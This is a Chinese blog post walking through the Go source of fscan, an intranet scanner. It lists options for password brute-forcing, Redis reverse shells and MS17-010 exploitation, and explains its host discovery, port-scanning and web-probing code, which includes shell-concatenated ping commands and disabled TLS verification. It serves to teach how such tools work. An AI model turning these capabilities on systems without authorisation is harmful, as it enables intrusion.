前言
这是以前编写的文章,肯定有一些错误和稚嫩(某些加粗的个人点评实属年轻气盛,若说的不对,劳烦大佬捉虫了)。
fscan是我用过的比较顺手的扫描器,究其根源大概是内部封装了大量具有实战意义的功能,以及用户友好的傻瓜式操作吧。
通过对fscan源码的分析,可以学习到很多东西,非常适合作为年轻人的第一款扫描器的学习。
当然,其中还有比较多的可以优化的点,后续我会针对应用场景的不同,进行代码的重构,与功能的添加。
概述
fscan是一个非常有名的扫描器,在内网方面很好用。
主要功能:
-
信息搜集: -
存活探测(icmp) -
端口扫描
-
-
爆破功能: -
各类服务爆破(ssh、smb、rdp等) -
数据库密码爆破(mysql、mssql、redis、psql、oracle等)
-
-
系统信息、漏洞扫描: -
netbios探测、域控识别 -
获取目标网卡信息 -
高危漏洞扫描(ms17010等)
-
-
Web探测功能: -
webtitle探测 -
web指纹识别(常见cms、oa框架等) -
web漏洞扫描(weblogic、st2等,支持xray的poc)
-
-
漏洞利用: -
redis写公钥或写计划任务 -
ssh命令执行 -
ms17017利用(植入shellcode),如添加用户等
-
-
其他功能: -
文件保存
## 主要参数-cstringssh命令执行-cookiestring设置cookie-debugint多久没响应,就打印当前进度(default60)-domainstringsmb爆破模块时,设置域名-hstring目标ip:192.168.11.11|192.168.11.11-255|192.168.11.11,192.168.11.12-hfstring读取文件中的目标-hnstring扫描时,要跳过的ip:-hn192.168.1.1/24-mstring设置扫描模式:-mssh(default"all")-no扫描结果不保存到文件中-nobr跳过sql、ftp、ssh等的密码爆破-nopoc跳过webpoc扫描-np跳过存活探测-numintwebpoc发包速率(default20)-ostring扫描结果保存到哪(default"result.txt")-pstring设置扫描的端口:22|1-65535|22,80,3306(default"21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pastring新增需要扫描的端口,-pa3389(会在原有端口列表基础上,新增该端口)-pathstringfcgi、smbromotefilepath-ping使用ping代替icmp进行存活探测-pnstring扫描时要跳过的端口,as:-pn445-pocnamestring指定webpoc的模糊名字,-pocnameweblogic-proxystring设置代理,-proxyhttp://127.0.0.1:8080-userstring指定爆破时的用户名-userfstring指定爆破时的用户名文件-pwdstring指定爆破时的密码-pwdfstring指定爆破时的密码文件-rfstring指定redis写公钥用模块的文件(as:-rfid_rsa.pub)-rsstringredis计划任务反弹shell的ip端口(as:-rs192.168.1.1:6666)-silent静默扫描,适合cs扫描时不回显-sshkeystringssh连接时,指定ssh私钥-tint扫描线程(default600)-timeint端口扫描超时时间(default3)-ustring指定Url扫描-ufstring指定Url文件扫描-wtintweb访问超时时间(default5)-pocpathstring指定poc路径-userastring在原有用户字典基础上,新增新用户-pwdastring在原有密码字典基础上,增加新密码-socks5指定socks5代理(as:-socks5socks5://127.0.0.1:1080)-sc指定ms17010利用模块shellcode,内置添加用户等功能(as:-scadd)
-
源码分析
参数处理
入口在main.go
funcmain(){start:=time.Now()// type HostInfo struct {// Host string// Ports string// Url string// Infostr []string// }varInfocommon.HostInfo// 参数解析,填充hostinfocommon.Flag(&Info)common.Parse(&Info)Plugins.Scan(Info)fmt.Printf("[*] 扫描结束,耗时: %sn",time.Since(start))}
参数读取与解析方面用的是标准flag库
common.Flag()读取参数,读入的参数保存在common.config.go文件中。
funcFlag(Info*HostInfo){......flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")flag.StringVar(&NoHosts,"hn","","the hosts no scan,as: -hn 192.168.1.1/24")flag.StringVar(&Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")flag.StringVar(&PortAdd,"pa","","add port base DefaultPorts,-pa 3389")......}
common.Parse对传入参数进行解析。
funcParse(Info*HostInfo){ParseUser()ParsePass(Info)ParseInput(Info)ParseScantype(Info)}
ParseUser是对传入的用户名username做解析,从传入的username、userfile读取用户名,并且去重。
ParsePass对传入的password相关参数做解析,主要实现了基于文件的password选择。还有url也是在这里面解析。(这代码写的有点糙啊,不优雅,函数命名功能划分有点拉跨,你干脆全放到一个函数里面去解析好了)
ParseInput对传入的hostinfo做解析。如果hostinfo为空,则跳出函数。对useradd、passadd、Socks5Proxy、Proxy、Hash参数做解析,基本都是保存到全局参数中的。
ParseScantype根据传入的扫描种类参数,将需要扫描的端口保存。(如果扫描种类多了,switch的使用会非常臃肿,最好编写一个调度框架,将需要实现的扫描方式编写成插件注册到调度框架中)
funcParseScantype(Info*HostInfo){_,ok:=PORTList[Scantype]if!ok{showmode()}ifScantype!="all"&&Ports==DefaultPorts+","+Webport{switchScantype{case"wmiexec":Ports="135"case"wmiinfo":Ports="135"case"smbinfo":Ports="445"case"hostname":Ports="135,137,139,445"case"smb2":Ports="445"case"web":Ports=Webportcase"webonly":Ports=Webportcase"ms17010":Ports="445"case"cve20200796":Ports="445"case"portscan":Ports=DefaultPorts+","+Webportcase"main":Ports=DefaultPortsdefault:port,_:=PORTList[Scantype]Ports=strconv.Itoa(port)}fmt.Println("-m ",Scantype," start scan the port:",Ports)}}
扫描逻辑
参数处理好之后,进入Scan函数扫描逻辑。
IP提取
首先是提取IP。
fmt.Println("start infoscan")Hosts,err:=common.ParseIP(info.Host,common.HostFile,common.NoHosts)iferr!=nil{fmt.Println("len(hosts)==0",err)return}
作者嵌套了很多层IP解析逻辑,跟进common.ParseIP
。
当传入的host带有端口时,将端口分离,并传送剩下来的部分进入ParseIPs
。如果没有携带端口,则直接进入ParseIPs
/或者解析传入的host文件,进入Readipfile
。
funcParseIP(hoststring,filenamestring,nohosts...string)(hosts[]string,errerror){iffilename==""&&strings.Contains(host,":"){//192.168.0.0/16:80hostport:=strings.Split(host,":")iflen(hostport)==2{host=hostport[0]hosts=ParseIPs(host)Ports=hostport[1]}}else{hosts=ParseIPs(host)iffilename!=""{varfilehost[]stringfilehost,_=Readipfile(filename)hosts=append(hosts,filehost...)}}
跟进ParseIPs
funcParseIPs(ipstring)(hosts[]string){// 按逗号分隔IPifstrings.Contains(ip,","){IPList:=strings.Split(ip,",")varips[]stringfor_,ip:=rangeIPList{// 检测每一个ipips=parseIP(ip)// 传出的数据加入hosts切片hosts=append(hosts,ips...)}}else{hosts=parseIP(ip)}returnhosts}
跟进parseIP
。这里的考量还是比较全的,掩码、ip段都有了。
并且作者在扫描/8
时只扫描随机IP,我觉得不合理,既然用户要求B段扫描了,那自然需要满足要求(就算确实太多了,那也是用户要求,可以用加线程的方式去解决,也不能减少扫描的数量)
我觉得ip应该返回net.IP,看看后面是什么操作。
最后返回的是[]string
切片。
funcparseIP(ipstring)[]string{reg:=regexp.MustCompile(`[a-zA-Z]+`)switch{caseip=="192":returnparseIP("192.168.0.0/8")caseip=="172":returnparseIP("172.16.0.0/12")caseip=="10":returnparseIP("10.0.0.0/8")// 扫描/8时,只扫网关和随机IP,避免扫描过多IPcasestrings.HasSuffix(ip,"/8"):returnparseIP8(ip)//解析 /24 /16 /8 /xxx 等casestrings.Contains(ip,"/"):returnparseIP2(ip)//可能是域名,用lookup获取ipcasereg.MatchString(ip):// _, err := net.LookupHost(ip)// if err != nil {// return nil// }return[]string{ip}//192.168.1.1-192.168.1.100casestrings.Contains(ip,"-"):returnparseIP1(ip)//处理单个ipdefault:// 判断IP合法性,合法就将ip字符串返回,并加入切片testIP:=net.ParseIP(ip)iftestIP==nil{returnnil}// 单个IP仍返回切片,需要满足函数原型要求return[]string{ip}}}
http客户端初始化
Scan中有Inithttp()
lib.Inithttp()
预设置一些参数,比如num
参数,控制发包速率;webtimeout,顾名思义,web延时
// 自定义http客户端初始化funcInithttp(){//common.Proxy = "http://127.0.0.1:8080"// -num int// web poc 发包速率 (default 20)ifcommon.PocNum==0{common.PocNum=20}ifcommon.WebTimeout==0{common.WebTimeout=5}err:=InitHttpClient(common.PocNum,common.Proxy,time.Duration(common.WebTimeout)*time.Second)iferr!=nil{panic(err)}}
跟进InitHttpClient
var(Client*http.ClientClientNoRedirect*http.ClientdialTimout=5*time.SecondkeepAlive=5*time.Second)..........funcInitHttpClient(ThreadsNumint,DownProxystring,Timeouttime.Duration)error{// 定义一个函数类型,用于创建网络连接typeDialContext=func(ctxcontext.Context,network,addrstring)(net.Conn,error)// 创建一个网络拨号器,用于设置连接的超时和保活时间dialer:=&net.Dialer{Timeout:dialTimout,KeepAlive:keepAlive,}// 创建一个 HTTP 传输层,用于设置 HTTP 请求的传输参数tr:=&http.Transport{DialContext:dialer.DialContext,// 使用拨号器创建连接MaxConnsPerHost:5,// 每个主机的最大连接数MaxIdleConns:0,// 最大空闲连接数MaxIdleConnsPerHost:ThreadsNum*2,// 每个主机的最大空闲连接数IdleConnTimeout:keepAlive,// 空闲连接的超时时间TLSClientConfig:&tls.Config{MinVersion:tls.VersionTLS10,InsecureSkipVerify:true},// TLS 配置,设置最低版本和跳过证书验证TLSHandshakeTimeout:5*time.Second,// TLS 握手的超时时间DisableKeepAlives:false,// 是否禁用长连接}// 如果设置了 Socks5 代理,使用代理拨号器替换默认的拨号器ifcommon.Socks5Proxy!=""{dialSocksProxy,err:=common.Socks5Dailer(dialer)// 创建代理拨号器iferr!=nil{returnerr// 如果出错,返回错误}ifcontextDialer,ok:=dialSocksProxy.(proxy.ContextDialer);ok{// 如果代理拨号器实现了 ContextDialer 接口tr.DialContext=contextDialer.DialContext// 使用代理拨号器创建连接}else{returnerrors.New("Failed type assertion to DialContext")// 如果没有实现,返回错误}}elseifDownProxy!=""{// 如果设置了其他代理ifDownProxy=="1"{// 如果代理为 1 ,使用默认的 HTTP 代理DownProxy="http://127.0.0.1:8080"}elseifDownProxy=="2"{// 如果代理为 2 ,使用默认的 Socks5 代理DownProxy="socks5://127.0.0.1:1080"}elseif!strings.Contains(DownProxy,"://"){// 如果代理没有指定协议,使用默认的 HTTP 代理DownProxy="http://127.0.0.1:"+DownProxy}if!strings.HasPrefix(DownProxy,"socks")&&!strings.HasPrefix(DownProxy,"http"){// 如果代理不是 Socks 或 HTTP 协议,返回错误returnerrors.New("no support this proxy")}u,err:=url.Parse(DownProxy)// 解析代理的 URLiferr!=nil{returnerr// 如果出错,返回错误}tr.Proxy=http.ProxyURL(u)// 设置 HTTP 传输层的代理}// 创建一个 HTTP 客户端,使用 HTTP 传输层和超时时间Client=&http.Client{Transport:tr,Timeout:Timeout,}// 创建一个不自动跟随重定向的 HTTP 客户端,使用 HTTP 传输层和超时时间ClientNoRedirect=&http.Client{Transport:tr,Timeout:Timeout,// ErrUseLastResponse can be returned by Client.CheckRedirect hooks to// control how redirects are processed. If returned, the next request// is not sent and the most recent response is returned with its body// unclosed.// var ErrUseLastResponse = errors.New("net/http: use last response")CheckRedirect:func(req*http.Request,via[]*http.Request)error{returnhttp.ErrUseLastResponse},// 设置不跟随重定向的函数}returnnil// 返回 nil 表示成功}
主机探活
如果没设置noping
参数,或者扫描参数为icmp
,开启icmp探活,调用CheckLive
,传入ping参数(使用ping而不是icmp)
ifcommon.NoPing==false&&len(Hosts)>1||common.Scantype=="icmp"{Hosts=CheckLive(Hosts,common.Ping)fmt.Println("[*] Icmp alive hosts len is:",len(Hosts))}ifcommon.Scantype=="icmp"{common.LogWG.Wait()return}
跟进checklive函数。
我的分析写在注释里了。
var(AliveHosts[]stringExistHosts=make(map[string]struct{})livewgsync.WaitGroup)funcCheckLive(hostslist[]string,Pingbool)[]string{chanHosts:=make(chanstring,len(hostslist))// 开启协程用来检查传入管道的是否// 已经记录在hashmap中// 或者存在于传入的hostslist中gofunc(){forip:=rangechanHosts{// 如果ip尚不存在hashmap中,且存在于传入的hostslist中,则if_,ok:=ExistHosts[ip];!ok&&IsContain(hostslist,ip){// 置空值,只留下ip键,节省内存ExistHosts[ip]=struct{}{}ifcommon.Silent==false{ifPing==false{fmt.Printf("(icmp) Target %-15s is aliven",ip)}else{fmt.Printf("(ping) Target %-15s is aliven",ip)}}// 加入到存活主机中AliveHosts=append(AliveHosts,ip)}// 告知原子锁协程工作完成livewg.Done()}}()
接下来判断使用ping还是icmp进行探测
ifPing==true{//使用ping探测RunPing(hostslist,chanHosts)}else{//优先尝试监听本地icmp,批量探测conn,err:=icmp.ListenPacket("ip4:icmp","0.0.0.0")......}
ping
跟进Runping
用exec库直接执行命令,用ping进行访问。
具体的命令是
ping -c 1 -i 0.5 -t 4 -W 2 -w 5"+ip+" >/dev/null &&echotrue||echofalse
作者使用&& echo true || echo false
的方式,判断是否执行成功
funcRunPing(hostslist[]string,chanHostschanstring){varwgsync.WaitGrouplimiter:=make(chanstruct{},50)for_,host:=rangehostslist{wg.Add(1)limiter<-struct{}{}gofunc(hoststring){ifExecCommandPing(host){livewg.Add(1)chanHosts<-host}<-limiterwg.Done()}(host)}wg.Wait()}funcExecCommandPing(ipstring)bool{varcommand*exec.Cmdswitchruntime.GOOS{case"windows":command=exec.Command("cmd","/c","ping -n 1 -w 1 "+ip+" && echo true || echo false")//ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"case"darwin":command=exec.Command("/bin/bash","-c","ping -c 1 -W 1 "+ip+" && echo true || echo false")//ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"default://linuxcommand=exec.Command("/bin/bash","-c","ping -c 1 -w 1 "+ip+" && echo true || echo false")//ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"}outinfo:=bytes.Buffer{}command.Stdout=&outinfoerr:=command.Start()iferr!=nil{returnfalse}iferr=command.Wait();err!=nil{returnfalse}else{ifstrings.Contains(outinfo.String(),"true")&&strings.Count(outinfo.String(),ip)>2{returntrue}else{returnfalse}}}
icmp检测
优先在本地创建icmp套接字监听器。它针对本地的IP4:icmp协议的数据包,可以监听icmp数据包。进入RunIcmp1
逻辑
如果无法建立本地icmp套接字,则发起一个icmp连接
ifPing==true{//使用ping探测RunPing(hostslist,chanHosts)}else{//优先尝试监听本地icmp,批量探测conn,err:=icmp.ListenPacket("ip4:icmp","0.0.0.0")iferr==nil{RunIcmp1(hostslist,conn,chanHosts)}else{common.LogError(err)//尝试无监听icmp探测fmt.Println("trying RunIcmp2")conn,err:=net.DialTimeout("ip4:icmp","127.0.0.1",3*time.Second)deferfunc(){ifconn!=nil{conn.Close()}}()iferr==nil{RunIcmp2(hostslist,chanHosts)}else{common.LogError(err)//使用ping探测fmt.Println("The current user permissions unable to send icmp packets")fmt.Println("start ping")RunPing(hostslist,chanHosts)}}}
icmp包的构建
这里提前描述一下构建icmp的函数makemsg,下面会用到
// 用于生成序列号funcgenSequence(vint16)(byte,byte){ret1:=byte(v>>8)// 将整数右移 8 位,取最高 8 位,转换为字节ret2:=byte(v&255)// 将整数与 255 进行按位与运算,取最低 8 位,转换为字节returnret1,ret2// 返回两个字节}// 用于生成标识符funcgenIdentifier(hoststring)(byte,byte){returnhost[0],host[1]// 返回主机名的第一个和第二个字符对应的字节}// 用于计算校验和,传入整个msg切片(0-40)funccheckSum(msg[]byte)uint16{sum:=0// 定义一个整数变量,用于存储求和的结果length:=len(msg)// 定义一个整数变量,用于存储字节切片的长度fori:=0;i<length-1;i+=2{// 用一个循环,从第一个字节开始,每次跳过一个字节,直到倒数第二个字节sum+=int(msg[i])*256+int(msg[i+1])// 将每两个字节看成一个 16 位的数,乘以 256 和加上,然后累加到 sum 中}iflength%2==1{// 如果字节切片的长度是奇数,说明最后还剩一个字节sum+=int(msg[length-1])*256// 将最后一个字节看成一个 16 位的数,乘以 256,然后累加到 sum 中}sum=(sum>>16)+(sum&0xffff)// 将 sum 的高 16 位和低 16 位相加,得到一个新的 sumsum=sum+(sum>>16)// 如果新的 sum 的高 16 位不为 0,将其加到低 16 位上,得到一个最终的 sumanswer:=uint16(^sum)// 将 sum 取反,得到一个 uint16 类型的值,赋给 answerreturnanswer// 返回 answer}// 定义一个函数,用于构造 ICMP 数据包,参数是一个字符串类型的主机名,返回一个字节切片funcmakemsg(hoststring)[]byte{msg:=make([]byte,40)// 创建一个长度为 40 的字节切片,用于存储 ICMP 数据包id0,id1:=genIdentifier(host)// 调用 genIdentifier 函数,根据主机名生成标识符msg[0]=8// 设置 ICMP 数据包的类型字段为 8 ,表示回显请求msg[1]=0// 设置 ICMP 数据包的代码字段为 0 ,表示无特殊含义msg[2]=0// 设置 ICMP 数据包的校验和字段的高 8 位为 0 ,暂时不计算校验和msg[3]=0// 设置 ICMP 数据包的校验和字段的低 8 位为 0 ,暂时不计算校验和msg[4],msg[5]=id0,id1// 设置 ICMP 数据包的标识符字段为主机名的前两个字符对应的字节msg[6],msg[7]=genSequence(1)// 设置 ICMP 数据包的序列号字段为 1 对应的两个字节check:=checkSum(msg[0:40])// 调用 checkSum 函数,计算 ICMP 数据包的校验和,参数是数据包的前 40 个字节msg[2]=byte(check>>8)// 设置 ICMP 数据包的校验和字段的高 8 位为校验和的高 8 位msg[3]=byte(check&255)// 设置 ICMP 数据包的校验和字段的低 8 位为校验和的低 8 位returnmsg// 返回 ICMP 数据包的字节切片}
RunIcmp1
funcRunIcmp1(hostslist[]string,conn*icmp.PacketConn,chanHostschanstring){endflag:=false// 协程进行监听icmp连接,如果有返回包的,将IP通过管道传回检测协程gofunc(){for{ifendflag==true{return}msg:=make([]byte,100)_,sourceIP,_:=conn.ReadFrom(msg)ifsourceIP!=nil{livewg.Add(1)chanHosts<-sourceIP.String()}}}()// 向所有host发送icmp数据包for_,host:=rangehostslist{dst,_:=net.ResolveIPAddr("ip",host)IcmpByte:=makemsg(host)conn.WriteTo(IcmpByte,dst)}//根据hosts数量修改icmp监听时间start:=time.Now()for{iflen(AliveHosts)==len(hostslist){break}since:=time.Since(start)varwaittime.Durationswitch{caselen(hostslist)<=256:wait=time.Second*3default:wait=time.Second*6}ifsince>wait{break}}endflag=trueconn.Close()}
其中的核心是makemsg
函数,构建了icmp echo包,发送并且如果有回显数据,将对端IP传送给管道接收协程。
RunIcmp2
建立了连接的icmp收发器的核心逻辑:
funcicmpalive(hoststring)bool{startTime:=time.Now()conn,err:=net.DialTimeout("ip4:icmp",host,6*time.Second)iferr!=nil{returnfalse}deferconn.Close()iferr:=conn.SetDeadline(startTime.Add(6*time.Second));err!=nil{returnfalse}msg:=makemsg(host)if_,err:=conn.Write(msg);err!=nil{returnfalse}receive:=make([]byte,60)if_,err:=conn.Read(receive);err!=nil{returnfalse}returntrue}
同样也是构造了数据包,并且用conn进行收发。
这里都是一次收发,说实在我没想到有什么区别,可以优化,可能是我太菜了。可能是调用接口的开销?
开放端口扫描
在这里有两种情况:
-
指定参数使用特定模块,进入 NoPortScan
,不进行端口存活探测 -
常见扫描开放端口
如指定了参数"pn",则从指定的扫描端口中剔除pn指定的不扫描端口。
varAlivePorts[]stringifcommon.Scantype=="webonly"||common.Scantype=="webpoc"{AlivePorts=NoPortScan(Hosts,common.Ports)}elseifcommon.Scantype=="hostname"{common.Ports="139"AlivePorts=NoPortScan(Hosts,common.Ports)}elseiflen(Hosts)>0{AlivePorts=PortScan(Hosts,common.Ports,common.Timeout)fmt.Println("[*] alive ports len is:",len(AlivePorts))ifcommon.Scantype=="portscan"{common.LogWG.Wait()return}}// 去重iflen(common.HostPort)>0{AlivePorts=append(AlivePorts,common.HostPort...)AlivePorts=common.RemoveDuplicate(AlivePorts)common.HostPort=nilfmt.Println("[*] AlivePorts len is:",len(AlivePorts))}// 获取服务端口varseverports[]string//severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}for_,port:=rangecommon.PORTList{severports=append(severports,strconv.Itoa(port))}
总共获取两种端口,一种是存活端口,一种是服务端口。
接下来让我们看一看端口扫描的实现。
PortScan
这里的端口主要实现了tcp4的对端口的连接。
可以优化,比如加入SYN连接。
funcPortScan(hostslist[]string,portsstring,timeoutint64)[]string{varAliveAddress[]stringprobePorts:=common.ParsePort(ports)iflen(probePorts)==0{fmt.Printf("[-] parse port %s error, please check your port formatn",ports)returnAliveAddress}noPorts:=common.ParsePort(common.NoPorts)iflen(noPorts)>0{temp:=map[int]struct{}{}for_,port:=rangeprobePorts{temp[port]=struct{}{}}for_,port:=rangenoPorts{delete(temp,port)}varnewDatas[]intforport:=rangetemp{newDatas=append(newDatas,port)}probePorts=newDatassort.Ints(probePorts)}workers:=common.ThreadsAddrs:=make(chanAddr,len(hostslist)*len(probePorts))results:=make(chanstring,len(hostslist)*len(probePorts))varwgsync.WaitGroup//接收结果gofunc(){forfound:=rangeresults{AliveAddress=append(AliveAddress,found)wg.Done()}}()//多线程扫描fori:=0;i<workers;i++{gofunc(){foraddr:=rangeAddrs{PortConnect(addr,results,timeout,&wg)wg.Done()}}()}//添加扫描目标for_,port:=rangeprobePorts{for_,host:=rangehostslist{wg.Add(1)Addrs<-Addr{host,port}}}wg.Wait()close(Addrs)close(results)returnAliveAddress}
具体的端口连接。连上之后说明端口服务开放,返回地址加端口address := host + ":" + strconv.Itoa(port)
。
funcPortConnect(addrAddr,respondingHostschan<-string,adjustedTimeoutint64,wg*sync.WaitGroup){host,port:=addr.ip,addr.portconn,err:=common.WrapperTcpWithTimeout("tcp4",fmt.Sprintf("%s:%v",host,port),time.Duration(adjustedTimeout)*time.Second)iferr==nil{deferconn.Close()address:=host+":"+strconv.Itoa(port)result:=fmt.Sprintf("%s open",address)common.LogSuccess(result)wg.Add(1)respondingHosts<-address}}
TCP连接的包装器
funcWrapperTcpWithTimeout(network,addressstring,timeouttime.Duration)(net.Conn,error){d:=&net.Dialer{Timeout:timeout}returnWrapperTCP(network,address,d)}funcWrapperTCP(network,addressstring,forward*net.Dialer)(net.Conn,error){//get connvarconnnet.ConnifSocks5Proxy==""{varerrerrorconn,err=forward.Dial(network,address)iferr!=nil{returnnil,err}}else{dailer,err:=Socks5Dailer(forward)iferr!=nil{returnnil,err}conn,err=dailer.Dial(network,address)iferr!=nil{returnnil,err}}returnconn,nil}
漏洞扫描
这是扫描过程中的最后一战了。程序的末尾调用sync.waitgroup.Wait()等待协程的完成,并关闭使用的管道。
fmt.Println("start vulscan")for_,targetIP:=rangeAlivePorts{info.Host,info.Ports=strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]ifcommon.Scantype=="all"||common.Scantype=="main"{switch{caseinfo.Ports=="135":AddScan(info.Ports,info,&ch,&wg)//findnetifcommon.IsWmi{AddScan("1000005",info,&ch,&wg)//wmiexec}caseinfo.Ports=="445":AddScan(ms17010,info,&ch,&wg)//ms17010//AddScan(info.Ports, info, ch, &wg) //smb//AddScan("1000002", info, ch, &wg) //smbghostcaseinfo.Ports=="9000":AddScan(web,info,&ch,&wg)//httpAddScan(info.Ports,info,&ch,&wg)//fcgiscancaseIsContain(severports,info.Ports):AddScan(info.Ports,info,&ch,&wg)//plugins scandefault:AddScan(web,info,&ch,&wg)//webtitle}}else{scantype:=strconv.Itoa(common.PORTList[common.Scantype])AddScan(scantype,info,&ch,&wg)}}}for_,url:=rangecommon.Urls{info.Url=urlAddScan(web,info,&ch,&wg)}wg.Wait()common.LogWG.Wait()close(common.Results)fmt.Printf("已完成 %v/%vn",common.End,common.Num)}
漏扫主要由AddScan进行模块调度,根据处理好的扫描漏洞类型,进行相对应的扫描。
AddScan会开启协程,并调用ScanFunc
funcAddScan(scantypestring,infocommon.HostInfo,ch*chanstruct{},wg*sync.WaitGroup){// 用于控制协程数量*ch<-struct{}{}wg.Add(1)gofunc(){Mutex.Lock()common.Num+=1Mutex.Unlock()ScanFunc(&scantype,&info)Mutex.Lock()common.End+=1Mutex.Unlock()wg.Done()<-*ch}()}
调用ScanFunc
,和reflect模块交互
funcScanFunc(name*string,info*common.HostInfo){f:=reflect.ValueOf(PluginList[*name])in:=[]reflect.Value{reflect.ValueOf(info)}f.Call(in)}
从插件列表中获取对应的处理函数,pugins/base.go
varPluginList=map[string]interface{}{"21":FtpScan,"22":SshScan,"135":Findnet,"139":NetBIOS,"445":SmbScan,"1433":MssqlScan,"1521":OracleScan,"3306":MysqlScan,"3389":RdpScan,"5432":PostgresScan,"6379":RedisScan,"9000":FcgiScan,"11211":MemcachedScan,"27017":MongodbScan,"1000001":MS17010,"1000002":SmbGhost,"1000003":WebTitle,"1000004":SmbScan2,"1000005":WmiExec,}
参数都传入Host结构
typeHostInfostruct{HoststringPortsstringUrlstringInfostr[]string}
web扫描
执行的是webtitle函数。
传入的参数结构:
typeHostInfostruct{HoststringPortsstringUrlstringInfostr[]string}
如果是进行web方面的poc检测,直接调用webscan
函数,否则调用gowebtitle
、infocheck
函数,进行网页的访问和信息检查,最后根据nopoc
参数的状况判断是否调用webscan
进行poc扫描。
funcWebTitle(info*common.HostInfo)error{ifcommon.Scantype=="webpoc"{WebScan.WebScan(info)returnnil}err,CheckData:=GOWebTitle(info)info.Infostr=WebScan.InfoCheck(info.Url,&CheckData)if!common.NoPoc&&err==nil{WebScan.WebScan(info)}else{errlog:=fmt.Sprintf("[-] webtitle %v %v",info.Url,err)common.LogError(errlog)}returnerr}
GoWebTitle
首先进行url的处理。
如果没有指定协议(端口),则调用GetProtocol
去进行服务协议的判断(http/https)。
funcGOWebTitle(info*common.HostInfo)(errerror,CheckData[]WebScan.CheckDatas){ifinfo.Url==""{switchinfo.Ports{case"80":info.Url=fmt.Sprintf("http://%s",info.Host)case"443":info.Url=fmt.Sprintf("https://%s",info.Host)default:host:=fmt.Sprintf("%s:%s",info.Host,info.Ports)protocol:=GetProtocol(host,common.Timeout)info.Url=fmt.Sprintf("%s://%s:%s",protocol,info.Host,info.Ports)}}else{if!strings.Contains(info.Url,"://"){host:=strings.Split(info.Url,"/")[0]protocol:=GetProtocol(host,common.Timeout)info.Url=fmt.Sprintf("%s://%s",protocol,info.Url)}}.......
GetProtocol发起一次TLS连接,如果握手成功,返回https,否则http。
funcGetProtocol(hoststring,Timeoutint64)(protocolstring){protocol="http"//如果端口是80或443,跳过Protocol判断ifstrings.HasSuffix(host,":80")||!strings.Contains(host,":"){return}elseifstrings.HasSuffix(host,":443"){protocol="https"return}socksconn,err:=common.WrapperTcpWithTimeout("tcp",host,time.Duration(Timeout)*time.Second)iferr!=nil{return}conn:=tls.Client(socksconn,&tls.Config{MinVersion:tls.VersionTLS10,InsecureSkipVerify:true})deferfunc(){ifconn!=nil{deferfunc(){iferr:=recover();err!=nil{common.LogError(err)}}()conn.Close()}}()conn.SetDeadline(time.Now().Add(time.Duration(Timeout)*time.Second))err=conn.Handshake()iferr==nil||strings.Contains(err.Error(),"handshake failure"){protocol="https"}returnprotocol}
geturl
退回扫描函数,接下来进入真实的访问url的逻辑。
-
尝试访问指定的 URL,并处理可能的跳转情况。 -
确保最终访问的 URL 使用的是 https 协议。 -
可能还包括访问图标的操作,但已经被注释掉了。 err,result,CheckData:=geturl(info,1,CheckData)iferr!=nil&&!strings.Contains(err.Error(),"EOF"){return}
查看geturl的逻辑。传入一个flag,标志位控制函数的行为
// 传入的flag控制函数行为funcgeturl(info*common.HostInfo,flagint,CheckData[]WebScan.CheckDatas)(error,string,[]WebScan.CheckDatas){//flag 1 first try//flag 2 /favicon.ico//flag 3 302//flag 4 400 -> httpsUrl:=info.Url// 参数为2,主要获取网站信息,访问的是./favicon.icoifflag==2{// 调用url库,解析url字符串URL,err:=url.Parse(Url)iferr==nil{// 取出url之后,将Url复用为图标文件路径Url=fmt.Sprintf("%s://%s/favicon.ico",URL.Scheme,URL.Host)}else{// 若原Url解析失败,则直接在末尾加上图标文件Url+="/favicon.ico"}}// 发起一次新的http GET 请求req,err:=http.NewRequest("GET",Url,nil)iferr!=nil{returnerr,"",CheckData}// 配置http头// UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"// Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"req.Header.Set("User-agent",common.UserAgent)req.Header.Set("Accept",common.Accept)req.Header.Set("Accept-Language","zh-CN,zh;q=0.9")ifcommon.Cookie!=""{// flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")req.Header.Set("Cookie",common.Cookie)}//if common.Pocinfo.Cookie != "" {// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)//} else {// req.Header.Set("Cookie", "rememberMe=1")//}req.Header.Set("Connection","close")varclient*http.Client// 如果是第一次连接,调用inithttp封装好的连接客户端ifflag==1{client=lib.ClientNoRedirect}else{client=lib.Client}// clinet客户端发出构建好的请求resp,err:=client.Do(req)iferr!=nil{returnerr,"https",CheckData}deferresp.Body.Close()vartitlestring// 解析响应数据包body,err:=getRespBody(resp)iferr!=nil{returnerr,"https",CheckData}// 更新CheckData// type CheckDatas struct {// Body []byte// Headers string// }CheckData=append(CheckData,WebScan.CheckDatas{body,fmt.Sprintf("%s",resp.Header)})varreurlstring// 解http响应包ifflag!=2{if!utf8.Valid(body){// 解GBK编码body,_=simplifiedchinese.GBK.NewDecoder().Bytes(body)}// 获取titletitle=gettitle(body)length:=resp.Header.Get("Content-Length")iflength==""{length=fmt.Sprintf("%v",len(body))}// 解location头,定位重定向urlredirURL,err1:=resp.Location()iferr1==nil{reurl=redirURL.String()}result:=fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v",resp.Request.URL,resp.StatusCode,length,title)ifreurl!=""{result+=fmt.Sprintf(" 跳转url: %s",reurl)}common.LogSuccess(result)}ifreurl!=""{// 返回重定向URLreturnnil,reurl,CheckData}// status==400 && https:// ifresp.StatusCode==400&&!strings.HasPrefix(info.Url,"https"){returnnil,"https",CheckData}returnnil,"",CheckData}
可以看到这个函数内部作者做了所有的url检查,回到gowebtitle函数,继续调用几次geturl以应对不同的情况。
